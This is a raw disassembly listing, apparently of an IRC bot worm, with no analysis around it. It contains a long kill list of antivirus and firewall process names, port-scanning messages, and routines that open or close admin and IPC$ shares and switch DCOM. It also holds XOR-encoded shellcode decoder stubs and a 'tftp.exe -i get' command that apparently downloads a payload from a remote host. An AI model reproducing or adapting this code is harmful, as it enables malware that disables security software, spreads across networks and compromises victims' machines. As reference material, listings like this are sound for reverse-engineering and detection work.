aDssagent_exe db 'DSSAGENT.EXE',0 ; DATA XREF: ___:00438464o
align 4
aDrwebupw_exe db 'DRWEBUPW.EXE',0 ; DATA XREF: ___:00438460o
align 4
aDrweb32_exe db 'DRWEB32.EXE',0 ; DATA XREF: ___:0043845Co
aDrwatson_exe db 'DRWATSON.EXE',0 ; DATA XREF: ___:00438458o
align 4
aDpps2_exe db 'DPPS2.EXE',0 ; DATA XREF: ___:00438454o
align 4
aDpfsetup_exe db 'DPFSETUP.EXE',0 ; DATA XREF: ___:00438450o
align 4
aDpf_exe db 'DPF.EXE',0 ; DATA XREF: ___:0043844Co
aDoors_exe db 'DOORS.EXE',0 ; DATA XREF: ___:00438448o
align 4
aDllreg_exe db 'DLLREG.EXE',0 ; DATA XREF: ___:00438444o
align 4
aDllcache_exe db 'DLLCACHE.EXE',0 ; DATA XREF: ___:00438440o
align 4
aDivx_exe db 'DIVX.EXE',0 ; DATA XREF: ___:0043843Co
align 10h
aDeputy_exe db 'DEPUTY.EXE',0 ; DATA XREF: ___:00438438o
align 4
aDefwatch_exe db 'DEFWATCH.EXE',0 ; DATA XREF: ___:00438434o
align 4
aDefscangui_exe db 'DEFSCANGUI.EXE',0 ; DATA XREF: ___:00438430o
align 4
aDefalert_exe db 'DEFALERT.EXE',0 ; DATA XREF: ___:0043842Co
align 4
aDcomx_exe db 'DCOMX.EXE',0 ; DATA XREF: ___:00438428o
align 4
aDatemanager_ex db 'DATEMANAGER.EXE',0 ; DATA XREF: ___:00438424o
aClaw95_exe db 'Claw95.EXE',0 ; DATA XREF: ___:0043841Co
align 4
aCwntdwmo_exe db 'CWNTDWMO.EXE',0 ; DATA XREF: ___:00438418o
align 4
aCwnb181_exe db 'CWNB181.EXE',0 ; DATA XREF: ___:00438414o
aCv_exe db 'CV.EXE',0 ; DATA XREF: ___:00438410o
align 4
aCtrl_exe db 'CTRL.EXE',0 ; DATA XREF: ___:0043840Co
align 4
aCpfnt206_exe db 'CPFNT206.EXE',0 ; DATA XREF: ___:00438408o
align 4
aCpf9x206_exe db 'CPF9X206.EXE',0 ; DATA XREF: ___:00438404o
align 4
aCpd_exe db 'CPD.EXE',0 ; DATA XREF: ___:00438400o
aConnectionmoni db 'CONNECTIONMONITOR.EXE',0 ; DATA XREF: ___:004383FCo
align 4
aCmon016_exe db 'CMON016.EXE',0 ; DATA XREF: ___:004383F8o
aCmgrdian_exe db 'CMGRDIAN.EXE',0 ; DATA XREF: ___:004383F4o
align 10h
aCmesys_exe db 'CMESYS.EXE',0 ; DATA XREF: ___:004383F0o
align 4
aCmd32_exe db 'CMD32.EXE',0 ; DATA XREF: ___:004383ECo
align 4
aClick_exe db 'CLICK.EXE',0 ; DATA XREF: ___:004383E8o
align 4
aCleanpc_exe db 'CLEANPC.EXE',0 ; DATA XREF: ___:004383E4o
aCleaner3_exe db 'CLEANER3.EXE',0 ; DATA XREF: ___:004383E0o
align 10h
aCleaner_exe db 'CLEANER.EXE',0 ; DATA XREF: ___:004383DCo
aClean_exe db 'CLEAN.EXE',0 ; DATA XREF: ___:004383D8o
align 4
aClaw95cf_exe db 'CLAW95CF.EXE',0 ; DATA XREF: ___:004383D4o
; ___:00438420o
align 4
aCfinet32_exe db 'CFINET32.EXE',0 ; DATA XREF: ___:004383D0o
align 4
aCfinet_exe db 'CFINET.EXE',0 ; DATA XREF: ___:004383CCo
align 4
aCfiaudit_exe db 'CFIAUDIT.EXE',0 ; DATA XREF: ___:004383C4o
; ___:004383C8o
align 4
aCfiadmin_exe db 'CFIADMIN.EXE',0 ; DATA XREF: ___:004383C0o
align 4
aCfgwiz_exe db 'CFGWIZ.EXE',0 ; DATA XREF: ___:004383BCo
align 10h
aCfd_exe db 'CFD.EXE',0 ; DATA XREF: ___:004383B8o
aCdp_exe db 'CDP.EXE',0 ; DATA XREF: ___:004383B4o
aCcpxysvc_exe db 'CCPXYSVC.EXE',0 ; DATA XREF: ___:004383B0o
align 10h
aCcevtmgr_exe db 'CCEVTMGR.EXE',0 ; DATA XREF: ___:004383ACo
align 10h
aCcapp_exe db 'CCAPP.EXE',0 ; DATA XREF: ___:004383A8o
align 4
aBvt_exe db 'BVT.EXE',0 ; DATA XREF: ___:004383A4o
aBundle_exe db 'BUNDLE.EXE',0 ; DATA XREF: ___:004383A0o
align 10h
aBs120_exe db 'BS120.EXE',0 ; DATA XREF: ___:0043839Co
align 4
aBrasil_exe db 'BRASIL.EXE',0 ; DATA XREF: ___:00438398o
align 4
aBpc_exe db 'BPC.EXE',0 ; DATA XREF: ___:00438394o
aBorg2_exe db 'BORG2.EXE',0 ; DATA XREF: ___:00438390o
align 4
aBootwarn_exe db 'BOOTWARN.EXE',0 ; DATA XREF: ___:0043838Co
align 4
aBootconf_exe db 'BOOTCONF.EXE',0 ; DATA XREF: ___:00438388o
align 4
aBlss_exe db 'BLSS.EXE',0 ; DATA XREF: ___:00438384o
align 4
aBlackice_exe db 'BLACKICE.EXE',0 ; DATA XREF: ___:00438380o
align 4
aBlackd_exe db 'BLACKD.EXE',0 ; DATA XREF: ___:0043837Co
align 4
aBisp_exe db 'BISP.EXE',0 ; DATA XREF: ___:00438378o
align 10h
aBipcpevalsetup db 'BIPCPEVALSETUP.EXE',0 ; DATA XREF: ___:00438374o
align 4
aBipcp_exe db 'BIPCP.EXE',0 ; DATA XREF: ___:00438370o
align 10h
aBidserver_exe db 'BIDSERVER.EXE',0 ; DATA XREF: ___:0043836Co
align 10h
aBidef_exe db 'BIDEF.EXE',0 ; DATA XREF: ___:00438368o
align 4
aBelt_exe db 'BELT.EXE',0 ; DATA XREF: ___:00438364o
align 4
aBeagle_exe db 'BEAGLE.EXE',0 ; DATA XREF: ___:00438360o
align 4
aBd_professiona db 'BD_PROFESSIONAL.EXE',0 ; DATA XREF: ___:0043835Co
aBargains_exe db 'BARGAINS.EXE',0 ; DATA XREF: ___:00438358o
align 4
aBackweb_exe db 'BACKWEB.EXE',0 ; DATA XREF: ___:00438354o
aAvxquar_exe db 'AVXQUAR.EXE',0 ; DATA XREF: ___:0043834Co
; ___:00438350o
aAvxmonitornt_e db 'AVXMONITORNT.EXE',0 ; DATA XREF: ___:00438348o
align 4
aAvxmonitor9x_e db 'AVXMONITOR9X.EXE',0 ; DATA XREF: ___:00438344o
align 4
aAvwupsrv_exe db 'AVWUPSRV.EXE',0 ; DATA XREF: ___:00438340o
align 4
aAvwupd32_exe db 'AVWUPD32.EXE',0 ; DATA XREF: ___:00438338o
; ___:0043833Co
align 4
aAvwupd_exe db 'AVWUPD.EXE',0 ; DATA XREF: ___:00438334o
align 4
aAvwinnt_exe db 'AVWINNT.EXE',0 ; DATA XREF: ___:00438330o
aAvwin95_exe db 'AVWIN95.EXE',0 ; DATA XREF: ___:0043832Co
aAvsynmgr_exe db 'AVSYNMGR.EXE',0 ; DATA XREF: ___:00438328o
align 4
aAvsched32_exe db 'AVSCHED32.EXE',0 ; DATA XREF: ___:00438324o
align 4
aAvpupd_exe db 'AVPUPD.EXE',0 ; DATA XREF: ___:0043831Co
; ___:00438320o
align 4
aAvptc32_exe db 'AVPTC32.EXE',0 ; DATA XREF: ___:00438318o
aAvpm_exe db 'AVPM.EXE',0 ; DATA XREF: ___:00438314o
align 10h
aAvpdos32_exe db 'AVPDOS32.EXE',0 ; DATA XREF: ___:00438310o
align 10h
aAvpcc_exe db 'AVPCC.EXE',0 ; DATA XREF: ___:0043830Co
align 4
aAvp32_exe db 'AVP32.EXE',0 ; DATA XREF: ___:00438308o
align 4
aAvp_exe db 'AVP.EXE',0 ; DATA XREF: ___:00438304o
aAvnt_exe db 'AVNT.EXE',0 ; DATA XREF: ___:00438300o
align 4
aAvltmain_exe db 'AVLTMAIN.EXE',0 ; DATA XREF: ___:004382FCo
align 4
aAvkwctl9_exe db 'AVKWCTl9.EXE',0 ; DATA XREF: ___:004382F8o
align 4
aAvkservice_exe db 'AVKSERVICE.EXE',0 ; DATA XREF: ___:004382F4o
align 4
aAvkserv_exe db 'AVKSERV.EXE',0 ; DATA XREF: ___:004382F0o
aAvkpop_exe db 'AVKPOP.EXE',0 ; DATA XREF: ___:004382ECo
align 4
aAvgw_exe db 'AVGW.EXE',0 ; DATA XREF: ___:004382E8o
align 10h
aAvguard_exe db 'AVGUARD.EXE',0 ; DATA XREF: ___:004382E4o
aAvgserv9_exe db 'AVGSERV9.EXE',0 ; DATA XREF: ___:004382E0o
align 4
aAvgserv_exe db 'AVGSERV.EXE',0 ; DATA XREF: ___:004382DCo
aAvgnt_exe db 'AVGNT.EXE',0 ; DATA XREF: ___:004382D8o
align 4
aAvgctrl_exe db 'AVGCTRL.EXE',0 ; DATA XREF: ___:004382D4o
aAvgcc32_exe db 'AVGCC32.EXE',0 ; DATA XREF: ___:004382D0o
aAve32_exe db 'AVE32.EXE',0 ; DATA XREF: ___:004382CCo
align 4
aAvconsol_exe db 'AVCONSOL.EXE',0 ; DATA XREF: ___:004382C8o
align 4
aAutoupdate_exe db 'AUTOUPDATE.EXE',0 ; DATA XREF: ___:004382C0o
; ___:004382C4o
align 4
aAutotrace_exe db 'AUTOTRACE.EXE',0 ; DATA XREF: ___:004382B8o
; ___:004382BCo
align 4
aAutodown_exe db 'AUTODOWN.EXE',0 ; DATA XREF: ___:004382B0o
; ___:004382B4o
align 4
aAupdate_exe db 'AUPDATE.EXE',0 ; DATA XREF: ___:004382A8o
; ___:004382ACo
aAu_exe db 'AU.EXE',0 ; DATA XREF: ___:004382A4o
align 4
aAtwatch_exe db 'ATWATCH.EXE',0 ; DATA XREF: ___:004382A0o
aAtupdater_exe db 'ATUPDATER.EXE',0 ; DATA XREF: ___:00438298o
; ___:0043829Co
align 4
aAtro55en_exe db 'ATRO55EN.EXE',0 ; DATA XREF: ___:00438294o
align 4
aAtguard_exe db 'ATGUARD.EXE',0 ; DATA XREF: ___:00438290o
aAtcon_exe db 'ATCON.EXE',0 ; DATA XREF: ___:0043828Co
align 10h
aArr_exe db 'ARR.EXE',0 ; DATA XREF: ___:00438288o
aApvxdwin_exe db 'APVXDWIN.EXE',0 ; DATA XREF: ___:00438284o
align 4
aAplica32_exe db 'APLICA32.EXE',0 ; DATA XREF: ___:00438280o
align 4
aApimonitor_exe db 'APIMONITOR.EXE',0 ; DATA XREF: ___:0043827Co
align 4
aAnts_exe db 'ANTS.EXE',0 ; DATA XREF: ___:00438278o
align 4
aAntivirus_exe db 'ANTIVIRUS.EXE',0 ; DATA XREF: ___:00438274o
align 4
aAntiTrojan_exe db 'ANTI-TROJAN.EXE',0 ; DATA XREF: ___:00438270o
aAmon9x_exe db 'AMON9X.EXE',0 ; DATA XREF: ___:0043826Co
align 10h
aAlogserv_exe db 'ALOGSERV.EXE',0 ; DATA XREF: ___:00438268o
align 10h
aAlevir_exe db 'ALEVIR.EXE',0 ; DATA XREF: ___:00438264o
align 4
aAlertsvc_exe db 'ALERTSVC.EXE',0 ; DATA XREF: ___:00438260o
align 4
aAgentw_exe db 'AGENTW.EXE',0 ; DATA XREF: ___:0043825Co
align 4
aAgentsvr_exe db 'AGENTSVR.EXE',0 ; DATA XREF: ___:00438258o
align 4
aAdvxdwin_exe db 'ADVXDWIN.EXE',0 ; DATA XREF: ___:00438254o
align 4
aAdaware_exe db 'ADAWARE.EXE',0 ; DATA XREF: ___:00438250o
aAckwin32_exe db 'ACKWIN32.EXE',0 ; DATA XREF: ___:off_43824Co
align 4
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_415B93+191o
align 10h
unk_43AD10 db 2 ; DATA XREF: sub_415DC2:loc_415E49o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessListFai db 'Process list failed.',0
align 4
unk_43AD48 db 2 ; DATA XREF: sub_415DC2+80o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessListCom db 'Process list completed.',0
dword_43AD80 dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
; DATA XREF: sub_415DC2+19o
dd 671F6C1Fh, 0BB022029h, 202002BBh, 7473694Ch, 20676E69h
dd 636F7270h, 65737365h, 3A73h, 0
aConst db 'const',0
align 10h
dd 0
dword_43ADC4 dd 0 off_43ADC8 dd offset sub_415F27 ; DATA XREF: sub_4162D6+4Cr
aLetter db 'letter',0
align 8
dd 1, 415F85h, 63696E64h, 6Bh, 0
dd 2, 415FD2h
dword_43ADF4 dd 69257325h, 0 ; ___:00416213o
aSSSSS db '%s|%s|%s|%s|%s|',0 ; DATA XREF: ___:004161EDo
a99 db '99',0 ; DATA XREF: ___:loc_4161ABo
align 10h
a0D db '0%d',0 ; DATA XREF: ___:00416185o
aW: ; DATA XREF: ___:loc_41613Co
unicode 0, <W>,0
off_43AE18 dd offset byte_4B4E55 ; DATA XREF: ___:0041611Co
dword_43AE1C dd 345053h dword_43AE20 dd 34h dword_43AE24 dd 335053h dword_43AE28 dd 33h
; =============== S U B R O U T I N E =======================================
sub_43AE2C proc near ; DATA XREF: ___:004160DBo
push ebx
push eax
xor al, [eax]
sub_43AE2C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43AE30 proc near ; DATA XREF: ___:004160BDo
push ebx
push eax
xor [eax], eax
sub_43AE30 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dword_43AE34 dd 305053h dword_43AE38 dd 4E55h dword_43AE3C dd 334B32h dword_43AE40 dd 5D64255Bh, 7325hoff_43AE48 dd offset byte_5D4D5B ; DATA XREF: sub_416233+2Co
; sub_416233+57o
unk_43AE4C db 2 ; DATA XREF: sub_416343+92o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0
db 2
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0
align 10h
dd 1D4C0h
align 8
off_43AEC8 dd offset dword_43AF00 ; DATA XREF: sub_416561+1B3o
; sub_416885+17Ao
align 10h
dd offset dword_43AEF8
align 8
off_43AED8 dd offset dword_43AEF4 ; DATA XREF: sub_416885+1E3o
dd offset off_43AEF0
dd offset dword_43AEEC
dd offset off_43AEE8
off_43AEE8 dd offset dword_5C3A44 ; DATA XREF: sub_416561+217o
; ___:0043AEE4o
dword_43AEEC dd 2444h off_43AEF0 dd offset byte_5C3A43 ; DATA XREF: ___:0043AEDCo
dword_43AEF4 dd 2443h dword_43AEF8 dd 494D4441h, 244Ehdword_43AF00 dd 24435049h, 0 unk_43AF08 db 2 ; DATA XREF: sub_416561+2E5o
; sub_416885+2D8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_43AF48 db 2 ; DATA XREF: sub_416561+2CFo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesD db ' Network shares deleted.',0
align 10h
unk_43AF80 db 2 ; DATA XREF: sub_416561:loc_4167C3o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0
align 4
unk_43AFBC db 2 ; DATA XREF: sub_416561+25Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0
align 10h
unk_43AFF0 db 2 ; DATA XREF: sub_416561:loc_416730o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0
align 4
unk_43B02C db 2 ; DATA XREF: sub_416561+1C8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0
align 10h
unk_43B060 db 2 ; DATA XREF: sub_416561:loc_416693o
; sub_416885:loc_4169B3o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0
align 10h
unk_43B0A0 db 2 ; DATA XREF: sub_416561:loc_41668Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0
align 4
unk_43B0EC db 2 ; DATA XREF: sub_416561:loc_41666Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aRestrictedAcce db ' Restricted access to the IPC$ Share.',0
align 10h
unk_43B130 db 2 ; DATA XREF: sub_416561+106o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_416561+EDo
; sub_416885+EDo
align 10h
unk_43B190 db 2 ; DATA XREF: sub_416561+91o
; sub_416885+91o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenDc db ' Failed to open DCOM registry key.',0
align 10h
dword_43B1D0 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
; DATA XREF: sub_416561:loc_4165CEo
dd 2202967h, 2002BBBBh, 4F434420h, 6964204Dh, 6C626173h
dd 2E6465h
unk_43B1FC db 2 ; DATA XREF: sub_416561+66o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDisableDcomFai db ' Disable DCOM failed.',0
align 10h
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_416561+54o
; sub_416885+54o
align 4
word_43B23C dw 4Eh ; DATA XREF: sub_416561+38r
align 10h
unk_43B240 db 2 ; DATA XREF: sub_416885+2C0o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesA db ' Network shares added.',0
align 4
aC_1 db '%c:\',0 ; DATA XREF: sub_416885+22Ao
align 4
aC_2 db '%c$',0 ; DATA XREF: sub_416885+219o
unk_43B280 db 2 ; DATA XREF: sub_416885:loc_416A24o
; sub_416885:loc_416AF2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0
align 4
unk_43B2B8 db 2 ; DATA XREF: sub_416885+198o
; sub_416885+266o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0
align 4
unk_43B2E8 db 2 ; DATA XREF: sub_416885:loc_4169ACo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0
align 4
unk_43B334 db 2 ; DATA XREF: sub_416885:loc_41698Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0
unk_43B378 db 2 ; DATA XREF: sub_416885+102o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0
dword_43B3C4 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
; DATA XREF: sub_416885:loc_4168F2o
dd 2202967h, 2002BBBBh, 4F434420h, 6E65204Dh, 656C6261h
dd 2E64h
unk_43B3F0 db 2 ; DATA XREF: sub_416885+66o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aEnableDcomFail db ' Enable DCOM failed.',0
align 4
word_43B424 dw 59h ; DATA XREF: sub_416885+38r
align 4
loc_43B428: ; DATA XREF: sub_416D51+C4o
jmp short loc_43B42C
; ---------------------------------------------------------------------------
loc_43B42A: ; CODE XREF: ___:loc_43B42Cp
jmp short loc_43B431
; ---------------------------------------------------------------------------
loc_43B42C: ; CODE XREF: ___:loc_43B428j
call loc_43B42A
loc_43B431: ; CODE XREF: ___:loc_43B42Aj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_43B436 dw 0FFFFh ; DATA XREF: sub_416D51+CCw
db 80h, 73h, 0Eh
byte_43B43B db 0FFh ; DATA XREF: sub_416D51+D3w
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_43B440: ; DATA XREF: sub_416D51+A2o
jmp short loc_43B444
; ---------------------------------------------------------------------------
loc_43B442: ; CODE XREF: ___:loc_43B444p
jmp short loc_43B449
; ---------------------------------------------------------------------------
loc_43B444: ; CODE XREF: ___:loc_43B440j
call loc_43B442
loc_43B449: ; CODE XREF: ___:loc_43B442j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_43B44D db 0FFh ; DATA XREF: sub_416D51+AAw
dw 7380h
db 0Ch
byte_43B451 db 0FFh ; DATA XREF: sub_416D51+B0w
dw 0E243h
dd 0F9h
dword_43B458 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_416BDA+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43B4BC dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_416BDA+79o
aJ db 'j',0
db 0E8h
dword_43B4D5 dd 17h ; ---------------------------------------------------------------------------
jnz short near ptr byte_43B4DC
retn
; ---------------------------------------------------------------------------
byte_43B4DC db 0E8h ; CODE XREF: ___:0043B4D9j
dword_43B4DD dd 1 byte_43B4E1 db 0, 6Ah, 0 ; DATA XREF: sub_416BDA+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_43B4EB dd 0FFFFFFEDh ; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
aThreadList db '-[Thread List]-',0
aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_4170E6+51o
aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_4170E6+35o
dword_43B56C dd 29E2C0h dd 9875h, 9873h
off_43B578 dd offset sub_418D5F ; DATA XREF: ___:00418F6Ar
dd offset nullsub_1
dd offset nullsub_1
align 10h
off_43B590 dd offset sub_418FA8 ; DATA XREF: sub_4191E5+1Cr
dword_43B594 dd 2 ; sub_41D415+46r ...
off_43B598 dd offset aNull_0 ; DATA XREF: sub_419343:loc_4196A7r
; sub_419343+457r
; "(null)"
off_43B59C dd offset aNull ; DATA XREF: sub_419343+259r
; "(null)"
off_43B5A0 dd offset word_43B5AA ; DATA XREF: sub_417894+23r
; sub_417894:loc_4178F5r ...
off_43B5A4 dd offset word_43B5AA ; DATA XREF: sub_420833+18r
db 2 dup(0)
word_43B5AA dw 20h ; DATA XREF: sub_41EE2C+18r
; ___:off_43B5A0o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43B7AC dd 1 ; sub_417894:loc_4178E0r ...
byte_43B7B0 db 2Eh ; DATA XREF: sub_41A824:loc_41AB18r
; sub_41A824+311r ...
align 4
dd 1, 10h
dword_43B7BC dd 3F8h ; sub_418C3F+4Dr ...
dword_43B7C0 dd 0D2D0920h, 5Dhdword_43B7C8 dd 5Dh, 0 byte_43B7D0 db 1 ; DATA XREF: sub_41BFFC+E1r
db 2, 4, 8
align 8
dword_43B7D8 dd 3A4h dword_43B7DC dd 82798260h, 21h, 0dword_43B7E8 dd 0DFA6h align 10h
dd 0A5A1h, 0
